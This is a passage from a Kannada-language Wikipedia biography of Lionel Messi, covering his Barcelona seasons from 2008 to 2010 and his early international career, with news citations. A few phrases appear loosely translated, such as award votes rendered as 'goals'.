miserable|publisher=FIFA|date=2008-11-29|accessdate=2009-06-02|archive-date=2014-08-03|archive-url=https://web.archive.org/web/20140803210929/http://www.fifa.com/worldfootball/clubfootball/news/newsid=964294.html|url-status=dead}}</ref> ಡಿಸೆಂಬರ್ 13, 2008ರ, ಮೊದಲ ಕ್ಲಾಸಿಕೋ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ, ರಿಯಲ್ ಮಾಡ್ರಿಡ್ ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ 2-0 ಗೋಲುಗಳಿಂದ ಜಯಗಳಿಸಿತು, ಇದರಲ್ಲಿ ಮೆಸ್ಸಿ ಎರಡನೇ ಗೋಲು ಗಳಿಸಿದ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/europe/7776472.stm|title= Barcelona 2-0 Real Madrid |publisher=BBC Sport|date=2008-12-13|accessdate=2009-05-29}}</ref> ಅವನಿಗೆ [[2008ರ FIFA ವರ್ಲ್ಡ್ ವರ್ಷದ ಆಟಗಾರ]] ಪ್ರಶಸ್ತಿಗಳಲ್ಲಿ 678 ಗೋಲುಗಳೊಂದಿಗೆ ಎರಡನೇ ಸ್ಥಾನ ನೀಡಲಾಯಿತು.<ref name="Gala 2008"/> ಕೊಪಾ ಡೆಲ್ ರೆಯ್ ಟೈನಲ್ಲಿ ಅಟ್ಲೆಟಿಕೋ ಮಾಡ್ರಿಡ್ ವಿರುದ್ಧ ಬಾರ್ಸಿಲೋನಾ 3-1 ಅಂಕ ಗಳಿಸಿ ವಿಜಯಿಯಾದ ಪಂದ್ಯದಲ್ಲಿ ಮೆಸ್ಸಿ 2009ರ ತನ್ನ ಮೊದಲ ಹ್ಯಾಟ್‌-ಟ್ರಿಕ್ ಗಳಿಸಿದ.<ref>{{cite news|url=http://www.shanghaidaily.com/sp/article/2009/200901/20090107/article_387234.htm|title=Messi scores hat trick in Barca's 3–1 win over Atletico|publisher=''Shanghai Daily''|date=2009-01-07|accessdate=2009-05-29}}</ref> ಮೆಸ್ಸಿ ಇನ್ನೊಂದು ಪ್ರಮುಖ ಅವಳಿ ಗೋಲುಗಳನ್ನು ಫೆಬ್ರವರಿ 1, 2009ರಲ್ಲಿ ಗಳಿಸಿದ. ಬಾರ್ಸಿಲೋನಾ ರೇಸಿಂಗ್ ಸಾನ್ಟನ್ಡರ್ ತಂಡದ ವಿರುದ್ಧ 1-0ಯಿಂದ ಹಿಂದುಳಿದ ನಂತರ ಪಂದ್ಯದ ಉತ್ತರಾರ್ಧದಲ್ಲಿ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಬಂದು 1-2 ಗೋಲುಗಳಿಂದ ಸೋಲಿಸಲು ನೆರವಾದ. ಎರಡು ಹೊಡೆತಗಳಲ್ಲಿ ಎರಡೆನೆಯದು ಬಾರ್ಸಿಲೋನಾದ 5000ನೇ ಲೀಗ್ ಗೋಲು.<ref> [https://web.archive.org/web/20090204172913/http://www.google.com/hostednews/afp/article/ALeqM5iZaLqalXOwOJ2FwjihA3svGql1Mw ಸೂಪರ್ ಸಬ್ ಮೆಸ್ಸಿ ಫೈರ್ಸ್ 5000-ಗೋಲ್ ಬಾರ್ಸಿಲೋನಾ ಟು ಕಂಬ್ಯಾಕ್ ವಿಕ್ಟರಿ]. AFP (2009-02-01). 2009-02-01ರಂದು ಪುನರ್ ಸಂಪಾದಿಸಲಾಗಿದೆ.</ref> ಲಾ ಲಿಗಾ ಪಂದ್ಯಾವಳಿಗಳ 28ನೇ ಸುತ್ತಿನಲ್ಲಿ, ಮೆಸ್ಸಿ ಕ್ರೀಡಾಋತುವಿನ 30ನೇ ಗೋಲನ್ನು ಎಲ್ಲ ಸ್ಪರ್ಧೆಗಳಿಂದ ಗಳಿಸಿದ. ಈ ಪ್ರಕ್ರಿಯೆಯಲ್ಲಿ ಅವನ ತಂಡವನ್ನು [[ಮಲಾಗಾ CF]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ 6-0 ಗೋಲುಗಳಿಂದ ಗೆಲ್ಲುವಂತೆ ಮಾಡಿತು.<ref>{{cite news|url=http://english.aljazeera.net/sport/2009/03/2009322164115611397.html|title=Barcelona hit Malaga for six|publisher=Al Jazeera English|date=2009-03-23|accessdate=2009-06-02}}</ref> ಎಪ್ರಿಲ್ 8 2009ರಲ್ಲಿ, [[ಬಯೇರ್ನ್ ಮುನಿಚ್]] ವಿರುದ್ಧ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್‌ನಲ್ಲಿ ಎರಡು ಗೋಲು ಗಳಿಸಿದ. ಸ್ಪರ್ಧೆಯಲ್ಲಿ 2 ಗೋಲು ಹೊಡೆದು ವೈಯಕ್ತಿಕ ದಾಖಲೆ ಸೃಷ್ಟಿಸಿದ.<ref>{{cite news|url=http://www.usatoday.com/sports/soccer/2009-04-09-2372732048_x.htm|title=Barcelona returns to earth with league match|publisher=''USA Today''|date=2009-04-09|accessdate=2009-07-07|last=Logothetis|first=Paul}}</ref> ಏಪ್ರಿಲ್ 18ರಂದು, ಗೆಟಾಫೇ ವಿರುದ್ಧ 1-0 ಜಯದೊಂದಿಗೆ ಮೆಸ್ಸಿ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ ತನ್ನ 20ನೇ ಲೀಗ್ ಗೋಲು ಗಳಿಸಿ ಸಾಧನೆ ಮಾಡಿದ. ಇದು ಬಾರ್ಸಿಲೋನಾ ತಂಡ ಲೀಗ್ ಪಟ್ಟಿಯಲ್ಲಿ ಆರು ಅನುಕೂಲದ ಗೋಲುಗಳನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲು ಅವಕಾಶ ಕಲ್ಪಿಸಿ ರಿಯಲ್ ಮಾಡ್ರಿಡ್ ತಂಡಕ್ಕಿಂತ ಅಗ್ರ ಸ್ಥಾನದಲ್ಲಿ ಉಳಿಯಲು ಯಶಸ್ವಿಯಾಯಿತು.<ref>{{cite news|url=http://www.shanghaidaily.com/sp/article/2009/200904/20090419/article_398171.htm|title=Messi leads Barcelona to 1-0 win over Getafe|publisher=''Shanghai Daily''|date=2009-04-19|accessdate=2009-06-02|archive-date=2013-10-29|archive-url=https://web.archive.org/web/20131029202746/http://www.shanghaidaily.com/sp/article/2009/200904/20090419/article_398171.htm|url-status=dead}}</ref> [[ಚಿತ್ರ:039 men at work UEFA 2009, Rome.jpg|200px|thumb|right|ಲಿಯೋನೆಲ್ ಮೆಸ್ಸಿಯ 2009ರ UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಫೈನಲ್‌ನಲ್ಲಿ ಚೆಂಡನ್ನು ಹೊಡೆಯುವ ವೈಖರಿಯನ್ನು ಮೈಕಲ್ ಕಾರ್ರಿಕ್ (ಹಿನ್ನೆಲೆ)ವೀಕ್ಷಿಸುತ್ತಿದ್ದಾನೆ.]] ಬಾರ್ಸಿಲೋನಾ ಕ್ರೀಡಾಋತುವು ಮುಕ್ತಾಯದ ಹಂತದಲ್ಲಿದ್ದಾಗ, ಮೆಸ್ಸಿ ಎರಡು ಗೋಲು ಗಳಿಸಿದ( ಎಲ್ಲಾ ಸ್ಪರ್ಧೆಗಳಿಂದ ಅವನ 35ನೇ ಮತ್ತು 36ನೇ ಗೋಲುಗಳು). ಇದರಿಂದ [[ಸಾಂಟಿಯಾಗೋ ಬೇರನ್ಬ್ಯೂ]]<ref>{{cite news|url=https://www.theguardian.com/football/2009/may/02/la-liga-real-madrid-barcelona|title=Barcelona run riot at Real Madrid and put Chelsea on notice|last=Lowe|first=Sid|publisher=''The Guardian''|date=2009-05-02|accessdate=2009-05-31}}</ref> ನಲ್ಲಿ ನಡೆದ [[ರಿಯಲ್ ಮಾಡ್ರಿಡ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ ತಂಡ 6-2 ಗೋಲುಗಳಿಂದ ವಿಜಯಿಯಾಗಿ, ರಿಯಲ್‌ಗೆ 1930ರಿಂದೀಚೆಗೆ ಭಾರೀ ಸೋಲೆನಿಸಿತು.<ref>{{cite news|url=http://www.goal.com/en/news/12/spain/2009/05/03/1244468/real-madrid-fan-poll-says-barcelona-loss-is-most-painful-in-club|title=Real Madrid Fan Poll Says Barcelona Loss Is Most Painful In Club History|last=Macdonald|first=Paul|publisher=Goal.com|date=2009-05-03|accessdate=2009-05-31}}</ref> ಪ್ರತಿ ಗೋಲು ಗಳಿಸಿದ ನಂತರ ಅವನು ಅಭಿಮಾನಿಗಳು ಮತ್ತು ಕ್ಯಾಮರಾಗಳ ಕಡೆ ಓಡಿ ತನ್ನ ಬಾರ್ಸಿಲೋನಾ ಜರ್ಸಿಯನ್ನು ಎತ್ತಿ ತೋರಿಸುತ್ತಿದ್ದ ಜೊತೆಗೆ ''ಸಿಂಡ್ರೋಮ್ X ಫ್ರಾಜಿಲ್'' ಎಂದು ಬರೆದ ಇನ್ನೊಂದು ಟೀ-ಶರ್ಟ್ ಅನ್ನು ತೋರಿಸುತ್ತಿದ್ದ. ಇದು [[ಫ್ರಾಜೈಲ್ X ಸಿಂಡ್ರೋಮ್‌]](ವಂಶವಾಹಿ ಕಾಯಿಲೆ)ನ ಕೆಟಾಲನ್ ಭಾಷೆ. ಇದು ಯಾತನೆಯಿಂದ ನರಳುವ ಮಕ್ಕಳಿಗೆ ಅವನ ಬೆಂಬಲ ಸೂಚಿಸುತ್ತದೆ.<ref>{{cite news|url=http://www.goal.com/en/news/12/spain/2009/05/02/1242691/what-lionel-messis-t-shirt-at-the-bernabeu-meant|title=What Lionel Messi's T-Shirt At The Bernabeu Meant|publisher=Goal.com|last=Macdonald|first=Ewan|date=2009-05-02|accessdate=2009-06-02}}</ref> ಮೆಸ್ಸಿ [[ಚೆಲ್ಸಿಯ]] ವಿರುದ್ಧ ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್ ಸೆಮಿಫೈನಲ್‌ನಲ್ಲಿ [[ಅಂಡ್ರೆಸ್ ಇನಿಎಸ್ಟ]]ಗಾಯಗೊಂಡ ಸಮಯದ ಗೋಲಿಗೆ ನೆರವು ನೀಡಿದ. ಇದರಿಂದ ಬಾರ್ಸಿಲೋನಾ ತಂಡವು [[ಮಾನ್ಚೆಸ್ಟೆರ್ ಯುನೈಟೆಡ್]] ತಂಡವನ್ನು [[ಫೈನಲ್]] ನಲ್ಲಿ ಎದುರುಗೊಂಡಿತು. ಅವನು ತನ್ನ ಮೊದಲ ಕೊಪಾ ಡೆಲ್ ರೆಯ್‌ಯನ್ನು ಮೇ 13ರಂದು ಗೆದ್ದ. ಇದರಲ್ಲಿ ಒಂದು ಗೋಲು ಅನ್ನು ಗಳಿಸಿ ಮತ್ತೆರೆಡು ಗೋಲುಗಳನ್ನು ಹೊಡೆಯಲು ನೆರವಾದ. ಇದರಿಂದ ತಂಡವು [[ಅಥ್ಲೆಟಿಕ್ ಬಿಲ್ಬಾವ್]] ವಿರುದ್ಧ 4-1 ಗೋಲುಗಳ ಜಯ ಗಳಿಸಿತು.<ref>{{cite news|url=http://www.telegraph.co.uk/sport/football/european/5321324/Barcelona-defeat-Athletic-Bilbao-to-win-Copa-del-Rey.html|title=Barcelona defeat Athletic Bilbao to win Copa del Rey|publisher=''Daily Telegraph''|date=2009-05-14|accessdate=2009-05-28}}</ref> ಅವನ ತಂಡವು ಲಾ ಲಿಗಾ ಗೆಲ್ಲುವ ಮೂಲಕ ಅವಳಿ ಪಂದ್ಯಾವಳಿಗಳಲ್ಲಿ ಗೆಲ್ಲಲು ನೆರವಾದ. ಮೇ 27ರಂದು ಅವನು [[2009ರ UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]]ಫೈನಲ್‌ನಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡ ಗೆಲ್ಲಲು ಸಹಾಯ ಮಾಡಿದ. ಇದರಲ್ಲಿ 70ನೇ ನಿಮಿಷದಲ್ಲಿ ಎರಡನೇ ಗೋಲು ಗಳಿಸಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡ ಎರಡು ಗೋಲುಗಳ ಮುನ್ನಡೆ ಸಾಧಿಸುವಂತೆ ಮಾಡಿದ. ಇವನು ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್‌ನಲ್ಲಿ ಒಂಬತ್ತು ಗೋಲು‌ಗಳನ್ನು ಗಳಿಸಿದ ಅಗ್ರ ಆಟಗಾರನಾದ.<ref>{{cite news|url=http://www.uefa.com/competitions/ucl/news/kind=1/newsid=833286.html|title=Messi sweeps up goalscoring honours|publisher=uefa.com|date=2009-05-27|accessdate=2009-06-04|archive-date=2009-12-27|archive-url=https://web.archive.org/web/20091227065627/http://www.uefa.com/competitions/ucl/news/kind=1/newsid=833286.html|url-status=dead}}</ref> ಮೆಸ್ಸಿ [[UEFA ಕ್ಲಬ್ ನ ವರ್ಷದ ಮುಂಚೂಣಿಯ ಆಟಗಾರ]]: ಮತ್ತು [[UEFA ಕ್ಲಬ್ ವರ್ಷದ ಫುಟ್ಬಾಲ್ ಆಟಗಾರ]] ಎಂಬ ಗೌರವಕ್ಕೆ ಪಾತ್ರನಾಗಿ ಯುರೋಪ್‌ನಲ್ಲಿ ಅದ್ಭುತ ವರ್ಷವನ್ನು ಮುಗಿಸಿದ.<ref>{{cite news|url=http://www.uefa.com/competitions/supercup/news/kind=1/newsid=877275.html|title=Messi recognised as Europe's finest|publisher=uefa.com|date=2009-08-27|accessdate=2009-08-30|archive-date=2010-02-04|archive-url=https://web.archive.org/web/20100204060347/http://www.uefa.com/competitions/supercup/news/kind=1/newsid=877275.html|url-status=dead}}</ref> ಈ ಜಯದಿಂದಾಗಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡ [[ಕೊಪಾ ಡೆಲ್ ರೆಯ್]], [[ಲಾ ಲಿಗಾ]] ಮತ್ತು [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ಮೂರನ್ನು ಒಂದೇ ಕ್ರೀಡಾಋತುವಿನಲ್ಲಿ ಗೆದ್ದಿತು ಜೊತೆಗೆ ಸ್ಪಾನಿಶ್‌ನ ಯಾವುದೇ ಕ್ಲಬ್ ಮೊದಲ ಬಾರಿಗೆ [[ತ್ರಿವಳಿ ಪಂದ್ಯಾವಳಿ]]ಗಳನ್ನು ಗೆದ್ದ ಕೀರ್ತಿಗೆ ಪಾತ್ರವಾಯಿತು.<ref>{{cite news|url=http://uk.eurosport.yahoo.com/01062009/3/barcelona-eclipse-dream-team-historic-treble.html|title=Barcelona eclipse dream team with historic treble|publisher=UK Eurosport|date=2009-06-01|accessdate=2009-06-03}}</ref> ==== 2009-10ರ ಕ್ರೀಡಾಋತು ==== [[ಚಿತ್ರ:Lionel Messi Joan Gamper Trophy.jpg|250px|thumb|left|ಬಾರ್ಸಿಲೋನಾ ತಂಡದ ಲಿಯೋನೆಲ್ ಮೆಸ್ಸಿ ಕ್ಯಾಂಪ್ ನೌ ಕ್ರೀಡಾಂಗಣದಲ್ಲಿ ಜೋಅನ್ ಗಮ್ಪರ್ ಟ್ರೋಫಿ ಪಂದ್ಯಾವಳಿಯಲ್ಲಿ ಬಾರ್ಸಿಲೋನಾ ಮತ್ತು ಮ್ಯಾನ್ಚೆಸ್ಟರ್ ಸಿಟಿ ತಂಡದ ನಡುವಿನ ಪಂದ್ಯದಲ್ಲಿ ಆಡುತ್ತಿರುವ ವೈಖರಿ.]] ಈ ನಡುವೆ [[2009ರ UEFA ಸೂಪರ್ ಕಪ್]] ಗೆದ್ದ ನಂತರ, ಬಾರ್ಸಿಲೋನಾ ತಂಡದ ಮ್ಯಾನೇಜರ್ [[ಜೋಸೆಪ್ ಗ್ವಾರ್ಡಿಯೋಲ]] ಬಹುಶಃ ಮೆಸ್ಸಿ ತಾವು ಕಂಡ ಅತ್ಯುತ್ತಮ ಆಟಗಾರರಲ್ಲಿ ಒಬ್ಬನೆಂದು ಪ್ರತಿಪಾದಿಸಿದರು.<ref>{{cite news|url=http://www.elmundo.es/elmundodeporte/2009/08/29/futbol/1251499664.html|title= 'Messi es el mejor jugador que veré jamás'|publisher=''El Mundo Deportivo''|date=2009-08-29|accessdate=2009-08-29|language=Spanish}}</ref> ಸೆಪ್ಟೆಂಬರ್ 18ರಂದು, ಮೆಸ್ಸಿ ಬಾರ್ಸಿಲೋನಾ ತಂಡದ ಜೊತೆಗೆ 2016ರ ತನಕ ಮುಂದುವರೆಯುವ ಒಂದು ಹೊಸ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕುತ್ತಾನೆ. ಇದರಲ್ಲಿ ಅವನನ್ನು €250 ದಶಲಕ್ಷಕ್ಕೆ ಖರೀದಿ ಮಾಡಿದ ಕಲಂ ಕೂಡ ಸೇರಿದೆ. ವಾರ್ಷಿಕ ಆದಾಯ ಸುಮಾರು €9.5 ದಶಲಕ್ಷದೊಂದಿಗೆ ಮೆಸ್ಸಿಯನ್ನು[[ಸ್ಲಟನ್ ಇಬ್ರಾಹಿಮೊವಿಕ್]] ಜತೆಗೆ ಲಾ ಲಿಗಾ ದಲ್ಲಿ ಅತ್ಯಂತ ಹೆಚ್ಚು ಸಂಭಾವನೆ ಪಡೆಯುವ ಆಟಗಾರರ ಸಾಲಿನಲ್ಲಿ ಸೇರಿಸಿತು.<ref>{{cite news|url=http://www.fcbarcelona.com/web/english/noticies/futbol/temporada09-10/09/n090918106811.html|title=Leo Messi extends his stay at Barça|publisher=fcbarcelona.com|date=2009-09-18|accessdate=2009-09-18}}</ref><ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/europe/8184399.stm|title=Messi signs new deal at Barcelona|publisher=BBC Sport|date=2009-09-18|accessdate=2009-09-18}}</ref> ನಾಲ್ಕು ದಿನಗಳ ಬಳಿಕ, ಸೆಪ್ಟೆಂಬರ್ 22ರಂದು, ಮೆಸ್ಸಿ ಎರಡು ಗೋಲನ್ನು ಗಳಿಸಿ ಮತ್ತೊಬ್ಬ ಆಟಗಾರನಿಗೆ ಗೋಲು ಹೊಡೆಯಲು ಸಹಾಯ ಮಾಡಿದ. ಪರಿಣಾಮವಾಗಿ ಲಾ ಲಿಗಾ ದಲ್ಲಿ ರೇಸಿಂಗ್ ಸಾನ್ಟನ್ಡರ್ ವಿರುದ್ಧ ಬಾರ್ಸಿಲೋನಾ ತಂಡ 4-1 ಗೋಲುಗಳ ಜಯ ಗಳಿಸಿತು.<ref>{{cite news|url=http://soccernet.espn.go.com/news/story?id=678702&sec=europe&cc=5901|title=Messi and Ibrahimovic put Racing to the sword|publisher=ESPN Soccernet|date=2009-09-22|accessdate=2009-09-23}}</ref> ಮೆಸ್ಸಿ ಕ್ರೀಡಾಋತುವಲ್ಲಿ ಮೊದಲ ಯುರೋಪಿಯನ್ ಗೋಲನ್ನು ಸೆಪ್ಟೆಂಬರ್ 29ರಂದು ಗಳಿಸಿದ. [[ಡೈನಮೋ ಕ್ಯಿವ್]] ವಿರುದ್ಧ 2-0 ಗೋಲುಗಳ ಅಂತರದಿಂದ ತಂಡವು ಜಯ ಗಳಿಸಿತು.<ref>{{cite news|url=http://www.goal.com/en/news/1716/champions-league/2009/09/29/1530963/barcelona-2-0-dynamo-kiev-messi-pedro-unlock-stubborn|title=Barcelona 2-0 Dynamo Kiev: Messi & Pedro Unlock Stubborn Ukrainians|publisher=Goal.com|date=2009-09-29|accessdate=2009-10-03|last=Leong|first=KS}}</ref> 6-1 ಗೋಲುಗಳ ಅಂತರದಿಂದ [[ಕ್ಯಾಂಪ್ ನೌ]] ನಲ್ಲಿ [[ರಿಯಲ್ ಜರಗೋಜ]] ತಂಡವನ್ನು ನೆಲಸಮ ಮಾಡುವುದರೊಂದಿಗೆ, ಮೆಸ್ಸಿ [[ಲಾ ಲಿಗಾ]]ದ ಏಳು ಪಂದ್ಯಗಳಲ್ಲಿ ತನ್ನ ಗೋಲುಗಳ ಟ್ಯಾಲಿಯನ್ನು ಆರು ಗೋಲುಗಳಿಗೆ ಕೊಂಡೊಯ್ದ.<ref>{{cite news|url=http://sportsillustrated.cnn.com/2009/soccer/10/25/spanish.rdp.ap/|title=Barcelona thrashes Zaragoza to go clear at top|publisher=CNN|date=2009-10-25|accessdate=2009-11-28}}</ref> ಮತ್ತು ನವೆಂಬರ್ 7ರಂದು ಕ್ಯಾಂಪ್ ನೌ ನಲ್ಲಿ ನಡೆದ [[ಮಲ್ಲೋರ್ಕಾ]]ವಿರುದ್ಧ ಬಾರ್ಸಿಲೋನಾ 4-2 ಗೋಲುಗಳ ಜಯ ಗಳಿಸಿದ ಪಂದ್ಯದಲ್ಲಿ ಒಂದು ಪೆನಾಲ್ಟಿಯನ್ನು ಗಳಿಸಿದ.<ref>{{cite news|url=http://soccernet.espn.go.com/news/story?id=695820&cc=5739|title=Guardiola expects more after win over Mallorca|publisher=ESPN Soccernet|date=2009-11-09|accessdate=2009-11-28|archive-date=2011-12-03|archive-url=https://web.archive.org/web/20111203071732/http://soccernet.espn.go.com/news/story?id=695820&cc=5739|url-status=dead}}</ref> ಡಿಸೆಂಬರ್ 1, 2009ರಲ್ಲಿ, ಮೆಸ್ಸಿಯನ್ನು [[2009ರ Ballon d'Or]](ಚಿನ್ನದ ಫುಟ್ಬಾಲ್) ವಿಜೇತ ಎಂದು ಘೋಷಿಸಲಾಯಿತು. ಮೆಸ್ಸಿ ರನ್ನರ್‌ಅಪ್ ಕ್ರಿಸ್ಟಿಯಾನೊ ರೋನಾಲ್ಡೊರನ್ನು 473-233 ಭಾರೀ ಅಂತರದಿಂದ ಸೋಲಿಸಿದ.<ref>{{cite news|url=http://news.bbc.co.uk/sport1/hi/football/europe/8387679.stm|title=Barcelona forward Lionel Messi wins Ballon d'Or award|publisher=BBC Sport|date=2009-12-01|accessdate=2009-12-01}}</ref><ref>{{cite news|url=http://www.abc.net.au/news/stories/2009/12/01/2759069.htm|title=Messi wins prestigious Ballon d'Or award|publisher=ABC Sport|date=2009-12-01|accessdate=2009-12-10}}</ref><ref>{{cite news|url=http://www.independent.co.uk/sport/football/news-and-comment/lionel-messi-a-rare-talent-1831871.html|title=Lionel Messi: A rare talent|publisher=''The Independent''|date=2009-12-01|accessdate=2009-12-10|last=Barnett|first=Phil}}</ref> ಇದಾದ ನಂತರ, ಫ್ರಾನ್ಸ್ ಫುಟ್ಬಾಲ್ ನಿಯತಕಾಲಿಕ ಮೆಸ್ಸಿಯ ಹೇಳಿಕೆಯನ್ನು ಹೀಗೆ ವರದಿ ಮಾಡುತ್ತದೆ: "ಇದನ್ನು ನನ್ನ ಕುಟುಂಬಕ್ಕೆ ಅರ್ಪಿಸುತ್ತೇನೆ. ಅವರ ಅಗತ್ಯ ಕಂಡುಬಂದಾಗಲೆಲ್ಲ ಸದಾ ಜತೆಗಿದ್ದರು. ಕೆಲವೊಂದು ಸಲ ಅವರು ನನಗಿಂತ ಹೆಚ್ಚು ಭಾವುಕರಾಗಿದ್ದರೆಂದು ಅನಿಸುತ್ತದೆ."<ref>{{cite news|url=http://soccernet.espn.go.com/news/story?id=706306&sec=europe&cc=5739|title=Messi takes Ballon d'Or|publisher=ESPN Soccernet|date=2009-12-01|accessdate=2009-12-10}}</ref> ಡಿಸೆಂಬರ್ 19ರಂದು, ಮೆಸ್ಸಿ [[2009ರ FIFA ಕ್ಲಬ್ ವಿಶ್ವ ಕಪ್]] ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ [[ಎಸ್ಟುಡಿಯಂಟ್ಸ್]] ವಿರುದ್ಧ [[ಅಬು ಧಾಬಿ]]ಯಲ್ಲಿ ಗೆಲುವಿನ ಗೋಲನ್ನು ಗಳಿಸಿ ತಂಡ ಜಯಗಳಿಸುವಂತೆ ಮಾಡಿದ.<ref>{{citeweb|url=http://soccernet.espn.go.com/report?id=285375&cc=5739&league=FIFA.CWC|title=Messi seals number six|date=2009-12-19|publisher=ESPN Soccernet|accessdate=2009-12-21}}</ref> ಎರಡು ದಿನಗಳ ನಂತರ, ಅವನಿಗೆ [[FIFA ವರ್ಷದ ವಿಶ್ವ ಆಟಗಾರ]] ಎಂಬ ಪ್ರಶಸ್ತಿ ನೀಡಲಾಯಿತು; ಪ್ರಶಸ್ತಿಗಾಗಿ ಪೈಪೋಟಿಯಲ್ಲಿದ್ದ ಕ್ರಿಸ್ಟಿಯಾನೋ ರೋನಾಲ್ಡೊ, [[ಕ್ಸವಿ]], [[ಕಾಕಾ]] ಮತ್ತು [[ಅಂಡ್ರೆಸ್ ಇನಿಎಸ್ಟ]] ಎಲ್ಲರನ್ನು ಹಿಂದಿಕ್ಕಿ ಪ್ರಶಸ್ತಿ ತನ್ನದಾಗಿಸಿಕೊಂಡ. ಅವನು ಇದೆ ಮೊದಲ ಬಾರಿಗೆ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದಿದ್ದ, ಜೊತೆಗೆ ಅರ್ಜಂಟೀನಾ ದೇಶದ ಪರವಾಗಿ ಈ ಗೌರವಕ್ಕೆ ಪಾತ್ರನಾದ ಮೊದಲ ಆಟಗಾರ.<ref>{{cite news|url=http://soccernet.espn.go.com/news/story?id=716683&sec=world&cc=5901|title=FC Barcelona's Messi wins World Player of the Year|date=2009-12-21|publisher=ESPN Soccernet|accessdate=2009-12-22}}</ref> ಜನವರಿ 10, 2010ರಲ್ಲಿ, ಮೆಸ್ಸಿ ತನ್ನ ಮೊದಲ [[ಹ್ಯಾಟ್-ಟ್ರಿಕ್]] ಗಳನ್ನು ಗಳಿಸಿದ ಜೊತೆಗೆ ಕ್ರೀಡಾಋತುವಿನ ಮೊದಲ ಹ್ಯಾಟ್ರಿಕ್‌ನ್ನು [[CD ಟೆನೆರಿಫ್]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ 0-5 ಅಂತರದ ಜಯದಿಂದ ಗಳಿಸಿದ.<ref>{{citeweb|url=http://www.goal.com/en/news/12/spain/2010/01/10/1737345/tenerife-0-5-barcelona-messi-masterclass-sees-barca-back-on|title=Tenerife 0-5 Barcelona: Messi Masterclass Sees Barca Back On Top|date=2010-01-10|publisher=Goal.com|accessdate=2010-01-11}}</ref> ಜನವರಿ 17ರಂದು, ಮೆಸ್ಸಿ ಕ್ಲಬ್ ಪರವಾಗಿ ತನ್ನ 100ನೇ ಗೋಲನ್ನು [[ಸೆವಿಲ್ಲಾ]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ 4-0 ಅಂತರದಿಂದ ಜಯದಿಂದ ಗಳಿಸಿದ.<ref>{{citeweb|url=http://www.fcbarcelona.com/web/catala/noticies/futbol/temporada09-10/01/n100117108826.html|title=Messi 101: el golejador centenari més jove|date=2010-01-17|publisher=fcbarcelona.cat|accessdate=2010-01-17|language=Catalan|last=Bogunyà|first=Roger}}</ref> == ಅಂತಾರಾಷ್ಟ್ರೀಯ ವೃತ್ತಿಜೀವನ == ಜೂನ್ 2004ರಲ್ಲಿ, ಅವನು ಅರ್ಜಂಟೀನಾ ಪರವಾಗಿ ತನ್ನ ಮೊದಲ ಪಂದ್ಯವನ್ನು ಆಡಿದ. ಇದರಲ್ಲಿ [[ಪೆರಗ್ವೆ]] ವಿರುದ್ಧ [[ಸೌಹಾರ್ದ ಪಂದ್ಯ]]ದಲ್ಲಿ 20-ವರ್ಷ ಕೆಳಗಿನವರ ವಿಭಾಗದಲ್ಲಿ ಆಡಿದ.<ref>{{cite news|url=http://www.lionelmessi.com/biography/|title=Lionel Messi Biography|publisher=Lionelmessi.com|accessdate=2009-07-07|archive-date=2008-08-02|archive-url=https://web.archive.org/web/20080802154715/http://lionelmessi.com/biography/|url-status=dead}}</ref> 2005ರಲ್ಲಿ ನೆದರ್ಲ್ಯಾಂಡ್ಸ್ ನಲ್ಲಿ ನಡೆದ [[2005 FIFA ವಿಶ್ವ ಯುವ ಚಾಂಪಿಯನ್ ಶಿಪ್]] ನಲ್ಲಿ ಗೆಲುವು ಗಳಿಸಿದ ತಂಡದ ಒಬ್ಬ ಆಟಗಾರನಾಗಿದ್ದ. ಅಲ್ಲಿ ಅವನು, [[ಚಿನ್ನದ ಚೆಂಡು]] ಮತ್ತು [[ಚಿನ್ನದ ಬೂಟು]] ಗೆದ್ದುಕೊಂಡ.<ref>{{cite web|url=http://www.fifa.com/tournaments/archive/tournament=104/edition=9102/index.html|title=FIFA World Youth Championship Netherlands 2005|publisher=FIFA|accessdate=2009-07-07|archive-date=2013-12-24|archive-url=https://web.archive.org/web/20131224230512/http://www.fifa.com/tournaments/archive/tournament=104/edition=9102/index.html|url-status=dead}}</ref> ಅವನು ಸಂಪೂರ್ಣವಾದ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಚೊಚ್ಚಲ ಪಂದ್ಯವನ್ನು ಆಗಸ್ಟ್ 17, 2005 ರಂದು [[ಹಂಗೇರಿ]] ವಿರುದ್ಧದ ಪಂದ್ಯದಲ್ಲಿ 18 ವರ್ಷದವನಿದ್ದಾಗ ಆಡಿದ. ಅವನನ್ನು 63ನೇ ನಿಮಿಷದಲ್ಲಿ ಬದಲಿ ಆಟಗಾರನಾಗಿ ಮೈದಾನಕ್ಕೆ ಕಳಿಸಲಾಯಿತು, ಆದರೆ ಅವನನ್ನು 65ನೇ ನಿಮಿಷದಲ್ಲಿ [[ವಾಪಸ್ಸು ಕಳಿಸಲಾಯಿತು]], ಏಕೆಂದರೆ ರೆಫ್ರೀ, [[ಮಾರ್ಕಸ್ ಮೆರ್ಕ್]] ರಕ್ಷಕ [[ವಿಲ್ಮೊಸ್ ವಾನ್ಸಕ್]] ನನ್ನು [[ಮೊಣಕೈನಿಂದ ತಳ್ಳಿದ್ದು]] ಪತ್ತೆ ಮಾಡಿದರು. 